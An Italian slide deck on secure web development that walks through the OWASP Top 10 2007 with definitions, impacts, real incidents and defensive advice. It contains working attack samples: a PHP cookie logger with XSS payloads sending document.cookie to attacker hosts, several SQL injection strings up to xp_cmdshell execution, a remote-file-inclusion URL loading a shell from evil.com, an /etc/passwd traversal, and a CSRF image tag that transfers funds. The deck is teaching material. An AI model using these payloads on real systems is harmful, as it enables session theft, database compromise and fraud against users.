Owasp parte3

Sviluppo sicuro di Applicazioni WEB (Parte 3)

Last….. TOP 10 Vulnerabilities

Cos ’ è OWASP Top 10 2007 OWASP Top 10 2007 è un progetto basato sulla classificazione delle 10 vulnerabilità maggiormente critiche estratte dal MITRE (MITRE Corporation not-for-profit organization) Vulnerability Trends 2006, nell ’ ambito delle Web Application. L ’ obiettivo principale è quello di sensibilizzare il mondo dell ’ IT (e non solo) sulle conseguenze che queste vulnerabilità possono avere sul business aziendale, sulla propria privacy e su quella degli altri.

Cos ’ è OWASP Top 10 2007 Distribuzione delle tipologie di attacchi

Cos ’ è OWASP Top 10 2007 A1 - Cross Site Scripting (XSS) A2 - Injection Flaws A3 - Malicious File Execution A4 - Insecure Direct Object Reference A5 - Cross Site Request Forgery (CSRF) A6 - Information Leakage / Improper Error Handling A7 - Broken Authentication and Session Management A8 - Insecure Cryptographic Storage A9 - Insecure Communications A10 - Failure to Restrict URL Access

Top 10 2007 in dettaglio 1/10 Cross Site Scripting (XSS) Una vulnerabilità Cross Site Scripting (XSS) si verifica quando un ’ applicazione riceve dati forniti dall ’ utente senza effettuare alcun tipo di validazione del contenuto; nel restituire tali dati all'utente essi vengono interpretati dal browser consentendo l ’ esecuzione di codice malevolo lato client.

Cross Site Scripting (XSS) Ricorre spessissimo... Contenuti non validati inviati ad un utente Contenuti non validati… Che possono provenire da un database Web input Riflessi (form field, hidden field, url, etc…) Contenuti che vengono interpretati dal client come codice che deve essere eseguito (es. <script>) Virtualmente ogni web application è vulnerabile PDF Universal Cross Site Scripting (prima delle patch) Top 10 2007 in dettaglio 1/10

Top 10 2007 in dettaglio 1/10 <?php  $filename = "cookie.txt";  if (isset($_GET["cookie"]))  {  if (!$handle = fopen($filename, 'a'))  {  echo "Errore: impossibile scrivere il file";  exit;  }  else  {  if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)  {  echo "Errore durante la scrittura";  exit;  }  }  echo "Scrittura effettuata con successo =D";   fclose($handle);  exit;  }  echo "Niente da scrivere";  exit;  ?> //PS. mi scuso con l'autore dello script se non cito la   fonte ma non ricordo proprio dove l'ho preso :S Immaginate che l ’ attaccante inietti in un forum qualcosa del tipo: Ciao <script>document.location= www.nostrosito.com/log.php?cookie='+escape(document.cookie) </script> La vittima visita la pagina  si creerebbe www.nostrosito.com/cookie.txt contenente i cookie della nostra vittima del sito da cui sfruttiamo l'xss.</script> Considerate qualcosa del tipo:

Top 10 2007 in dettaglio 1/10 <a href= “ http://www.my-banca.it/welcome.cgi?name=<script>window.open ( “ http://www.attacker. site/collect.cgi?cookie= ” %2Bdocument.cookie)</script> ” > Ciao </a> Malicious Link: pensate di inviare alla vittima una mail - magari mascherata come informativa della banca - con un link del tipo: La risposta del server sarà: <HTML> <Title>Welcome!</Title> Hi <script> window.open( “ http://www.attacker.site/collect.cgi?cookie= ” +do cument.cookie)</script> <BR>Welcome to our system </HTML> Notare la pericolosità: la vittima si collega al sito della sua banca………..

XSS e gli impatti Un attaccante può… Rubare le credenziali degli utenti Effettuare un defacement delle pagine visualizzate Monitorare le richieste dell ’ utente Controllare totalmente il browser della vittima Conseguenze: Perdita economica Perdita di fiducia da parte degli utenti ATTENZIONE: La chiusura di un tab non equivale alla chiusura della sessione!!!!!! Top 10 2007 in dettaglio 1/10

Un caso reale: PayPal è stato obiettivo di alcuni attaccanti, i quali riuscirono a dirottare i visitatori verso una pagina che avvertiva gli utenti che i loro account erano stati compromessi (phishing). PayPal ha dichiarato di aver corretto la vulnerabilità nel Giugno del 2006. Come proteggere gli utenti: Bonificare gli input, magari utilizzando routine centralizzate. Top 10 2007 in dettaglio 1/10

C Esempio di Cross Site Scripting Top 10 2007 in dettaglio 1/10

Injection Flaws Le Injection Flaws sono vulnerabilità relative all ’ invio, da parte di un agente di minaccia, di input non validato, ad un interprete come comandi di sistema o query SQL. Top 10 2007 in dettaglio 2/10

SQL Injection – Esempio Esempio: Selezionare le righe di una tabella in base all ’ input inviato da un utente "SELECT * FROM USERS WHERE SN= ‘ " + sn + “ ’ ” SN dalla Web App arriva al DB Il parametro non viene validato L ’ attaccante invia 123456789 ’ OR ‘ 1 ’ = ‘ 1 L ’ applicazione costruisce la seguente query SELECT * FROM USERS WHERE SN= ‘ 123456789 ’ OR ‘ 1 ’ = ‘ 1 ’ Tutti gli utenti nel DB vengono visualizzati Top 10 2007 in dettaglio 2/10

SQL Injection – Analisi Tabelle Username = ' having1=1 -- Password = pippo Select userName from users where userName= ‘’ HAVING 1=1 -- Nel caso specifico la keyword having genera un errore avente al suo interno il nome della colonna. Error Type: Microsoft OLE DB ProviderforSQL Server (0x80040E14) Column'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /securityloginrespond.asp, line 24 Top 10 2007 in dettaglio 2/10

SQL Injection – Analisi colonne Username = ' UNION SELECT * FROM users GROUP BY userName-- Password = pippo Select userName from users where userName= ‘ ' UNION SELECT * FROM users GROUP BY userName– Utilizzando la keyword groupby è invece possibile ricavare i nomi dei campi della tabella. Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column'users.userId' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /securityloginrespond.asp, line 24 Top 10 2007 in dettaglio 2/10

SQL Injection – Inserimento Dati Username = '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Password = pippo Select userName from users where userName= ‘ '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Top 10 2007 in dettaglio 2/10

SQL Injection – Utilizzo di Macro Username = ' union select @@version – Password = pippo Select userName from users where userName= ‘ ' union select @@version – Logged In As Microsoft SQL Server 2000 -8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build2195: Service Pack 4) ' or 1 in (SELECT @@servername FROM users) -- Microsoft OLE DB Provider for SQL Server (0x80040E07) Syntax error converting the nvarchar valu e'SERVER2000' to a column of data type int. Top 10 2007 in dettaglio 2/10

SQL Injection – Esecuzione di Comandi Username: ' execmaster..xp-cmdshell 'dir > c:\inetpub\wwwroot\blah.txt'-- Password: pippo Select userName from users where userName= ‘ ' execmaster..xp-cmdshell 'dir > c:\inetpub\wwwroot\blah.txt ’ -- Possibilità di eseguire comandi solo nel caso in cui l ’ utente utilizzato per l ’ accesso al database sia sa. Top 10 2007 in dettaglio 2/10

SQL Injection – Esempio Top 10 2007 in dettaglio 2/10

SQL Injection e gli impatti Un attaccante può essere in grado di… Avere accesso all ’ intero schema del DB Rubare, modificare, e cancellare i contenuti Bloccare l ’ accesso a utenti legittimi Eseguire comandi di sistema sul server DB Entrare in possesso di informazioni riservate Conseguenze (attacchi riusciti): Wall Street Journal Guess Jeans Top 10 2007 in dettaglio 2/10

Un caso reale: Nel Gennaio del 2006 alcuni hackers russi riuscirono a bucare il sito web del governo di Rhode Island rubando i dati relativi alle carte di credito. Gli hackers affermarono di aver sfruttato una falla di tipo SQL Injection per rubare 53.000 numeri di carte di credito, anche se il fornitore del servizio di hosting affermò che i numeri di carte di credito rubate erano solo 4.113. Come proteggere gli utenti: Evitare, se possibile, di usare gli interpreti. Come riporta il sito OWASP: “ Se dovete invocare un interprete, il metodo chiave per evitare qualsiasi injection è usare delle API sicure, come le query parametrizzate fortemente tipizzate, e le librerie Object Relational Mapping. ” Top 10 2007 in dettaglio 2/10

Esempio di SQL Injection Top 10 2007 in dettaglio 2/10

Malicious File Execution Applicazioni vulnerabili consentono l ’ upload di file contenente codice malevolo lato server in grado di eseguire comandi di sistema e di conseguenza compromettere a livello globale il sistema. PHP è il principale target Remote File Inclusion è una tipologia di vulnerabilità molto diffusa negli ambienti PHP Es. include $_REQUEST[ ‘ open ’ ]; www.sito.com/file.php?open=http://evil.com/shell.php Top 10 2007 in dettaglio 3/10

Malicious File Execution e gli impatti Un attaccante può essere in grado di: Controllare un server remoto tramite interfaccia web Compromettere un sito web da remoto Compiere azioni di defacement Conseguenze: Possibilità di leggere, scrivere, eseguire file sul disco Vulnerabilità su siti web di e-commerce Top 10 2007 in dettaglio 3/10

Un caso reale: Nel 2002 un programmatore aveva scoperto che il sito Guess.com era vulnerabile ad un attacco che permetteva di rubare dal database più di 200.000 record contenenti i dati dei clienti, compresi nomi, numeri di carte di credito e date di scadenza. L'anno successivo, in seguito ad un'indagine da parte della Federal Trade Commission, Guess ha effettuato l'aggiornamento del suo sistema di sicurezza. Come proteggere gli utenti: Non utilizzare l'input fornito dagli utenti come immagini o l'inclusione di script. Impostare delle regole sul firewall per prevenire nuove connessioni verso siti web esterni o verso i sistemi interni. Top 10 2007 in dettaglio 3/10

Esempio di Malicius File Execution Top 10 2007 in dettaglio 3/10

Insecure Direct Object Reference Un ’ Insecure Direct Object Reference si verifica quando nell ’ applicazione sono presenti elementi liberamente manipolabili (file, directory, record database) che consentono di risalire ad ulteriori informazioni che possono portare ad un ’ escalation di privilegi o all ’ acquisizione di dati critici. Top 10 2007 in dettaglio 4/10

Insecure Direct Object Reference Direct Object Reference Spesso i programmatori espongono file, directory, database record o chiavi nella URL o nei parametri di una richiesta HTTP tramite il metodo POST Apertura ad attacchi Un attaccante può essere in grado di manipolare il parametro richiedendo altre risorse analoghe La path traversal è uno dei problemi frequenti Es. www.sito.com/file.php?open=/.. /.. /etc/passwd Top 10 2007 in dettaglio 4/10

Insecure Direct Object Reference e gli impatti Un attaccante può essere in grado di: Visualizzare dati riservati Manipolare parametri Conoscere che tipologia di risorse vengono richieste Conseguenze Accedere in lettura a informazioni confidenziali Ex. Tsunami Hacker Top 10 2007 in dettaglio 4/10

Un caso reale: Nel 2000, un ufficio delle tasse australiano era stato compromesso da un utente che aveva cambiato il “ tax ID ” presente nell' URL. Ciò ha permesso all ‘ attaccante di accedere ai dettagli di circa 17.000 aziende. L'hacker ha poi contatto via e-mail le 17.000 aziende per avvertirli della falla di sicurezza. Come proteggere gli utenti: Usare un indice, una mappa per il riferimento indiretto, o qualsiasi altro metodo indiretto, per evitare di esporre un riferimento diretto agli oggetti. Se non potete evitare i riferimenti diretti, è necessario autorizzare e autenticare gli utenti del sito web prima di utilizzare i riferimenti diretti agli oggetti. Top 10 2007 in dettaglio 4/10

Esempio di Insecure Direct Object Reference Top 10 2007 in dettaglio 4/10

Cross Site Request Forgery (CSRF) Un attacco di tipo Cross Site Request Forgery è mirato a forzare il Browser di una vittima ad eseguire operazioni da lui non espressamente richieste sfruttando vulnerabilità applicative come una non corretta implementazione delle sessioni ed un passaggio dei parametri e dei rispettivi valori di una richiesta attraverso l ’ uso del metodo GET. Nota la differenza con XSS: nel csrf è la vittima che viene forzata a compiere un ’ azione, con xss è l ’ attaccante che si impadronisce dell ’ identità della vittima e richiede javascript. Inoltre: xss richiede che un sito accetti malicious code, mentre con CSRF il codice malevole è in un sito di terze parte. Top 10 2007 in dettaglio 5/10

Cross Site Request Forgery (CSRF) Vulnerabilità diffusissima ed avviene quando: L ’ applicazione permette l ’ invio di richieste in modo non autorizzato o di duplicati di richieste già effettuate Vengono inviate credenziali note all ’ interno della richiesta Utilizzo di autenticazione implicite The <IMG> attack Un sito Web lancia un exploit all ’ interno del path attraverso il Tag di una immagine. (<IMG> TAG non ha restrizioni a livello di origine) Top 10 2007 in dettaglio 5/10

Anatomia di un attacco Cross Site Request Forgery (CSRF) 1/3 Top 10 2007 in dettaglio 5/10

Supponiamo che l'utente Alice stia navigando su un forum, o un blog, o stia visualizzando una mail in formato HTML dove l'utente Bob ha postato un'immagine malevola così forgiata: <img src="http://bancadialice.com/prelievo.php?da=conto_alice&a=conto_bob" alt="Errore nella visualizzazione dell'immagine ” > Top 10 2007 in dettaglio 5/10 Supponiamo ora che Alice sia autenticata in quel momento sul sito della sua banca, quindi sul suo computer sia presente un cookie che testimonia l'avvenuta autenticazione. In tal caso, la richiesta effettuata sarà perfettamente valida, e l'URL in questione eseguito da Alice con ovvie conseguenze. In genere questo tipo di attacchi vengono perpetrati attraverso immagini o iframe "abusivi" nel codice. X

CSRF e Autenticazione Meccanismo dei Cookie: La vittima V si collega al sito S, viene autenticata ed ottiene il cookie di sessione inviato automaticamente alle successive request V si collega ad un sito cattivo C che forza la stessa V tramite img o javascript a fare una richiesta al sito S; ciò comporta il re-invio del cookie che viene riconosciuto come valido…. Boom!!!! Top 10 2007 in dettaglio 5/10

Cross Site Request Forgery (CSRF) e gli impatti Un attaccante è in grado di: Compiere azioni con i privilegi dell ’ utente che invia l ’ attacco (nel nostro caso richiede l ’ immagine) Conseguenze: Possibilità di forzare l ’ utente a compiere azioni non volute, con un ottimo livello di successo nel caso in cui il sito che ospita l ’ attacco sia visitato dalla vittima Top 10 2007 in dettaglio 5/10

Un caso reale: Alla fine del 2005, un hacker (aka “ Samy ” ) era riuscito a stabilire più di un milione di contatti “ amici ” su MySpace.com attraverso un worm, il quale in maniera automatica includeva in migliaia di pagine MySpace il messaggio “ Samy is my hero ” . L'attacco in se non era stato così dannoso, ma aveva dimostrato la potenza della combinazione di un attacco cross site scripting con quello di tipo cross site request forgery. Un altro caso venuto alla luce un anno fa aveva dimostrato come una vulnerabilità di Google poteva permettere a siti esterni di cambiare la lingua predefinita dell'utente Google. Top 10 2007 in dettaglio 5/10

Come proteggere gli utenti: Chiudere con logout una sessione importante (non basta chiudere la tab) Fare in modo che le request di tipo GET non modifichino i dati sul Server Fare in modo che le request di tipo POST includano un valore pseudo-random Generare il cookie di sessione Fare in modo che tale valore sia incluso magari come campo nascosto in ogni form con POST Una richiesta viene considerata valida se e sole se il session id del cookie e il valore nella form sono uguali. Un attaccante infatti non [può] leggere i dati inviati dal server o modificare i valore nei cookie. Quindi sebbene l ’ attaccante possa forzare un post con qualsivoglia valore non sarà in grado di modificare/leggere il valore nel cookie Top 10 2007 in dettaglio 5/10

Esempio di Cross Site Request Forgery (CSRF) Top 10 2007 in dettaglio 5/10

Information Leakage and Improper Error Handling Information Leakage e Improper Error Handling si verificano spesso in presenza di Web Application non correttamente sviluppate che consentono l ’ acquisizione d ’ informazioni utilizzabili in un secondo momento da un agente di minaccia per effettuare un attacco mirato all ’ applicazione o al sistema server. Top 10 2007 in dettaglio 6/10

Information Leakage and Improper Error Handling Le applicazioni spesso visualizzano errori Un attaccante è spesso in grado di studiare una applicazione dai messaggi di errore Identificare gli attacchi e gestirli correttamente Mai visualizzare lo stack trace Ma quali errori sono veramente degli attacchi? Molte Web Application sono vulnerabili a questo attacco Specialmente quando viene stressato (es. Web Scarab) Top 10 2007 in dettaglio 6/10

Information Leakage and Improper Error Handling Top 10 2007 in dettaglio 6/10

Improper Error Handling e gli impatti Un attaccante è in grado di: Bypassare i meccanismi di sicurezza Effettuare attacchi DOS Acquisire informazioni sull ’ applicazione web Conseguenze: In mancanza di detection, un attaccante può continuare finchè non ha successo Complica estremamente il processo di tracciabilità dell ’ attaccante Top 10 2007 in dettaglio 6/10

Un caso reale: L'information leakage va ben oltre la gestione degli errori, arrivando anche a violazioni dove i dati sensibili sono lasciati completamente in chiaro. La debacle di The ChoicePoint all'inizio del 2005 ne è una dimostrazione. I record di circa 163 mila clienti erano stati compromessi dopo che alcuni criminali finsero di essere dei clienti legittimi di ChoicePoint accedendo alle informazioni personali delle persone presenti nel database della compagnia. ChoicePoint ha successivamente limitato la sue vendite di prodotti informativi contenenti dati sensibili. Come proteggere gli utenti: Utilizzare dei tool di testing, come il WebScarab, per vedere quali errori genera l ’ applicazione. Come riportata OWASP: “ Le applicazioni che non sono state testate in questo modo quasi sicuramente genereranno degli errori di output inaspettati ” . Top 10 2007 in dettaglio 6/10

Esempio di Information Leakage e Improper Error Hendling Top 10 2007 in dettaglio 6/10

Broken Authentication and Session Management Broken Authentication e Session Management sono vulnerabilità riconducibili ad un ’ errata implementazione della gestione delle credenziali di accesso e/o delle chiavi di sessioni che rendono possibili accessi non autorizzati all ’ applicazione tramite l ’ impersonificazione di altre identità vittima. URL Rewriting Top 10 2007 in dettaglio 7/10

Broken Authentication and Session Management HTTP is “ stateless ” protocol... Ogni richiesta deve essere autenticata Sessione management SESSIONID fa il tracking delle credenziali, poiché l ’ HTTP non lo fa SESSIONID è l ’ equivalente delle credenziali Mai esporre SESSIONID nella rete, nei browser, nei log, etc. Beware the side-doors Top 10 2007 in dettaglio 7/10

Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10

Broken Authentication and Session Management Un Attaccante è in grado di: Fare ciò che può fare un qualsiasi altro utente utilizzando le sue credenziali Conseguenze: Privacy compliance violations Top 10 2007 in dettaglio 7/10

Un caso reale: Nel 2002, Microsoft aveva eliminato una vulnerabilità in Hotmail che poteva essere sfruttata attraverso dei javascript malevoli per rubare le password dell'utente. Il problema, segnalato da un rivenditore di prodotti per la rete, veniva sfruttato attraverso dei messaggi email contenenti un trojan che alterava l'interfaccia utente, forzando le vittime a reinserire la password che sarebbe poi stata inviata inconsapevolmente agli attaccanti. Come proteggere gli utenti: La comunicazione e lo storage delle credenziali deve essere effettuata in maniera sicura. Il protocollo SSL per la trasmissione di dati riservati dovrebbe essere la sola opzione per autenticare le parti di una comunicazione, mentre le credenziali dovrebbero essere criptate o mantenute sotto forma di hash. Cancellare i cookie utilizzati per l'autenticazione o la gestione delle sessioni. Top 10 2007 in dettaglio 7/10

Esempio di Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10

Insecure Cryptographic Storage L ’ Insecure Cryptographic Storage è una vulnerabilità causata dalla non corretta conservazione dei dati e dall ’ errata implementazione delle funzioni applicative create allo scopo di proteggere tali informazioni. Top 10 2007 in dettaglio 8/10

Insecure Cryptographic Storage Salvare dati sensibili in modo insicuro Identificare i dati sensibili Identificare tutti I luoghi che contengono dati sensibili Identificare le connessioni ai dati sensibili Proteggerli con meccanismi appropriati File encryption, database encryption, access control, SSL Top 10 2007 in dettaglio 8/10

Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10

Insecure Cryptographic Storage e gli impatti Un attaccante è in grado di: Accedere a informazioni confidenziali Entrare in possesso di informazioni utili per futuri attacchi Conseguenze: Problemi di natura legale Perdita di fiducia da parte degli utenti PCI standard violation Top 10 2007 in dettaglio 8/10

Un caso reale: Una falla di sicurezza nei sistemi della TJX aveva portato alla divulgazione di circa 45,7 milioni di numeri di carte di credito/debito. Un'indagine del governo canadese aveva imputato alla TJX di non aver aggiornato il suo sistema crittografico prima di essere stato oggetto di un'intercettazione elettronica nel Luglio del 2005. Come proteggere gli utenti: Non utilizzare degli algoritmi crittografici “ fai da te ” . “ Utilizzare solo degli algoritmi pubblici consolidati come AES, la crittografia RSA a chiave pubblica, e SHA256 per l'hashing. Inoltre, generate le chiavi off-line e non trasmettere mai le chiavi private su canali insicuri. Top 10 2007 in dettaglio 8/10

Esempio di Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10

Insecure Communications Le Insecure Communications consentono ad un agente di minaccia di intercettare informazioni come credenziali di accesso e informazioni riservate in transito su canali privi di cifratura (plaintext). Top 10 2007 in dettaglio 9/10

Insecure Communications Protocollo HTTP in chiaro Può essere intercettato e sniffato Protocollo HTTP/S senza validazione certificato Suscettibile ad attacchi di Man in The Middle Utilizzare SEMPRE protocolli cifrati e se possibile, nel caso dell ’ SSL, effettuare la validazione dei certificati lato server e/o client (TLS) Top 10 2007 in dettaglio 9/10

Un caso reale: Ancora TJX. Un'indagine avevano portato alla conclusione che alcuni hackers avevano usato un'antenna telescopica ed un pc portatile per rubare i dati scambiati via wireless tra i dispositivi per il controllo dei prezzi, i registri di cassa, e i computer del magazzino. “ La rete wireless del rivenditore da 17.4 miliardi di dollari aveva meno sicurezza di quanta ne hanno tante persone sulla loro rete casalinga. TJX utilizzava il sistema di codifica WEP piuttosto che il più robusto WPA. ” Come proteggere gli utenti: Utilizzare SSL su una qualsiasi connessione autenticata o durante la trasmissione di dati sensibili, come le credenziali dell'utente, i dettagli della carta di credito, i dati sanitari. SSL o protocolli di crittografia simili dovrebbero essere utilizzati anche per l'accesso ai sistemi online da parte di clienti, partner, staff e amministrativi. Top 10 2007 in dettaglio 9/10

Esempio di Insecure Communications Top 10 2007 in dettaglio 9/10

Failure to Restrict URL Access Si verifica quando per proteggere aree di una web application non visibili ad utenti non autorizzati si fa affidamento esclusivamente ad un approccio di tipo “ security by obscurity ” poiché si tende a pensare che ciò che non è direttamente visibile non possa essere in alcun modo raggiunto e sfruttato da un agente di minaccia. Top 10 2007 in dettaglio 10/10

Failure to Restrict URL Access Controllare ciò che gli utenti possono fare: Attraverso le “ autorizzazioni ” Livelli di controllo multiplo Stabilire se l ’ utente accedere a un determinato URL Stabilire se l ’ utente invocare una determinata funzione Con quali parametri può invocarla Stabilire se e a quali tipi di dati l ’ utente può avere accesso Unico per ogni sito e ruolo Problematiche totalmente invisibili a scanner automatici Top 10 2007 in dettaglio 10/10

Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10

Failure to Restrict URL Access Un attaccante è in grado di: Accedere a risorse riservate Invocare funzioni Chiamare funzionalità nascoste Conseguenze Es. Attacco MacWorld 2007 Top 10 2007 in dettaglio 10/10

Un caso reale: Una falla nel sito web della MacWorld Conference aveva permesso agli utenti di ottenere dei pass “ Platinum ” del valore di circa 1.700 dollari, oltre ad uno speciale accesso al keynote di Steve Jobs, il tutto gratuitamente. La falla era presente nel codice lato client, invece che lato server, che verificava i privilegi dell'utente. Ciò permetteva a chiunque di ottenere dei pass gratuiti manipolando il codice javascript dal browser. Come proteggere gli utenti: Non dare per scontato che gli utenti non siano a conoscenza degli URL nascosti. Tutti gli URL e le risorse aziendali dovrebbero essere protetti attraverso un efficace meccanismo per il controllo degli accessi che verifichi il ruolo ed i privilegi dell'utente. “ Assicurarsi che ciò sia fatto ad ogni passo e non solo all'inizio del processo. ” Top 10 2007 in dettaglio 10/10

Esempio di Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10

Domande? Grazie per l ’ attenzione Claudio Di Giovanni [email_address]

Owasp parte3

More Related Content

What's hot

Similar to Owasp parte3

Owasp parte3

Editor's Notes